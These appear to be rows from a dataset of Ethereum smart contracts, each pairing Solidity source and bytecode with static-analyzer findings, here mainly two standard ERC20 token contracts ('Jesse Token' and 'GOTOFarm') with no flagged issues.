19050613242565b5085935050505092915050565b600060a082019050613291600083018861260e565b61329e6020830187612b8f565b81810360408301526132b0818661321e565b90506132bf6060830185612906565b6132cc608083018461260e565b9695505050505050565b60006132e182612562565b91506132ec83612562565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561332157613320612a0b565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613362601b83612440565b915061336d8261332c565b602082019050919050565b6000602082019050818103600083015261339181613355565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a94b90cf3c0acacb5dbffcedef780389c0d3e529ed2d5708449bfd36e7a0ddb64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,516
0xd272e89418248484d36af12c258f0870611f58a9
pragma solidity ^0.4.25; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract JesseToken is PausableToken { string public name = "Jesse Token"; string public symbol = "Jesse"; uint256 public decimals = 18; constructor() public { totalSupply_ = 100000000 * (10**decimals); balances[msg.sender] = totalSupply_; } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce567146102085780633f4ba83a1461021d5780635c975abb14610234578063661884631461024957806370a082311461026d578063715018a61461028e5780638456cb59146102a35780638da5cb5b146102b857806395d89b41146102e9578063a9059cbb146102fe578063d73dd62314610322578063dd62ed3e14610346578063f2fde38b1461036d575b600080fd5b34801561010157600080fd5b5061010a61038e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561041c565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610447565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a036004358116906024351660443561044d565b34801561021457600080fd5b506101cc61047a565b34801561022957600080fd5b50610232610480565b005b34801561024057600080fd5b506101a36104f8565b34801561025557600080fd5b506101a3600160a060020a0360043516602435610508565b34801561027957600080fd5b506101cc600160a060020a036004351661052c565b34801561029a57600080fd5b50610232610547565b3480156102af57600080fd5b506102326105b5565b3480156102c457600080fd5b506102cd610632565b60408051600160a060020a039092168252519081900360200190f35b3480156102f557600080fd5b5061010a610641565b34801561030a57600080fd5b506101a3600160a060020a036004351660243561069c565b34801561032e57600080fd5b506101a3600160a060020a03600435166024356106c0565b34801561035257600080fd5b506101cc600160a060020a03600435811690602435166106e4565b34801561037957600080fd5b50610232600160a060020a036004351661070f565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104145780601f106103e957610100808354040283529160200191610414565b820191906000526020600020905b8154815290600101906020018083116103f757829003601f168201915b505050505081565b60035460009060a060020a900460ff161561043657600080fd5b6104408383610732565b9392505050565b60015490565b60035460009060a060020a900460ff161561046757600080fd5b610472848484610798565b949350505050565b60065481565b600354600160a060020a0316331461049757600080fd5b60035460a060020a900460ff1615156104af57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561052257600080fd5b610440838361090f565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461055e57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031633146105cc57600080fd5b60035460a060020a900460ff16156105e357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104145780601f106103e957610100808354040283529160200191610414565b60035460009060a060020a900460ff16156106b657600080fd5b61044083836109ff565b60035460009060a060020a900460ff16156106da57600080fd5b6104408383610ae0565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461072657600080fd5b61072f81610b79565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107af57600080fd5b600160a060020a0384166000908152602081905260409020548211156107d457600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561080457600080fd5b600160a060020a03841660009081526020819052604090205461082d908363ffffffff610bf716565b600160a060020a038086166000908152602081905260408082209390935590851681522054610862908363ffffffff610c0916565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546108a4908363ffffffff610bf716565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561096457336000908152600260209081526040808320600160a060020a0388168452909152812055610999565b610974818463ffffffff610bf716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610a1657600080fd5b33600090815260208190526040902054821115610a3257600080fd5b33600090815260208190526040902054610a52908363ffffffff610bf716565b3360009081526020819052604080822092909255600160a060020a03851681522054610a84908363ffffffff610c0916565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b14908363ffffffff610c0916565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610b8e57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610c0357fe5b50900390565b81810182811015610c1657fe5b929150505600a165627a7a7230582005c6e696141d9179bb6f1541891de58208d41f1e1dd63727f039c0ef5efbc05a0029
{"success": true, "error": null, "results": {}}
9,517
0x5aa119300fddc57e91eaf5bee685a8498fd13f77
pragma solidity ^0.5.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } contract GOTOFarm is Context, ERC20, ERC20Detailed { constructor (address owner, string memory name, string memory symbol) public ERC20Detailed(name, symbol, 18) { _mint(owner, 1000000 * (10 ** uint256(decimals()))); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101b757806323b872dd146101e2578063313ce5671461027557806339509351146102a657806370a082311461031957806395d89b411461037e578063a457c2d71461040e578063a9059cbb14610481578063dd62ed3e146104f4575b600080fd5b3480156100c057600080fd5b506100c9610579565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061019d6004803603604081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061b565b604051808215151515815260200191505060405180910390f35b3480156101c357600080fd5b506101cc610639565b6040518082815260200191505060405180910390f35b3480156101ee57600080fd5b5061025b6004803603606081101561020557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610643565b604051808215151515815260200191505060405180910390f35b34801561028157600080fd5b5061028a610760565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b257600080fd5b506102ff600480360360408110156102c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610777565b604051808215151515815260200191505060405180910390f35b34801561032557600080fd5b506103686004803603602081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061082a565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610872565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b506104676004803603604081101561043157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610914565b604051808215151515815260200191505060405180910390f35b34801561048d57600080fd5b506104da600480360360408110156104a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a25565b604051808215151515815260200191505060405180910390f35b34801561050057600080fd5b506105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106115780601f106105e657610100808354040283529160200191610611565b820191906000526020600020905b8154815290600101906020018083116105f457829003601f168201915b5050505050905090565b600061062f610628610aca565b8484610ad2565b6001905092915050565b6000600254905090565b6000610650848484610d53565b6107558461065c610aca565b61075085606060405190810160405280602881526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610706610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b610ad2565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610820610784610aca565b8461081b8560016000610795610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119990919063ffffffff16565b610ad2565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090a5780601f106108df5761010080835404028352916020019161090a565b820191906000526020600020905b8154815290600101906020018083116108ed57829003601f168201915b5050505050905090565b6000610a1b610921610aca565b84610a1685606060405190810160405280602581526020017f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7781526020017f207a65726f0000000000000000000000000000000000000000000000000000008152506001600061098f610aca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b610ad2565b6001905092915050565b6000610a39610a32610aca565b8484610d53565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ee9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610f9881606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e636500000000000000000000000000000000000000000000000000008152506000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110d79092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461119990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582901515611186576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561114b578082015181840152602081019050611130565b50505050905090810190601f1680156111785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110151515611219576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fea165627a7a7230582002b7c24c3bd79e3e760f36dc5c31da1c4a6400203eaafc41824d42b8b16f7f090029
{"success": true, "error": null, "results": {}}
9,518
0xe01317914a7104e264739a99485af6edff113fbc
